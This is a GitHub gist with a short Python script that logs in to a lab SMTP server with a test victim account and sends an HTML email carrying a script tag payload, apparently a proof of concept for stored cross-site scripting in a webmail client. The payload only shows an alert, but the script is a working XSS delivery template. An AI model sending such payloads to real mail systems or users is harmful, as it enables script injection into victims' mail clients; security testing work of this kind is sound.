Skip to content

Instantly share code, notes, and snippets.

@dave5623
Created January 22, 2014 02:14
Show Gist options
  • Save dave5623/8552380 to your computer and use it in GitHub Desktop.
Save dave5623/8552380 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
import smtplib
email_addr = 'victim@test.local'
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email += '<script>alert("XSS")</script>'
s = smtplib.SMTP('192.168.58.140', 25)
s.login(email_addr, "victim")
s.sendmail(email_addr, email_addr, email)
s.quit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment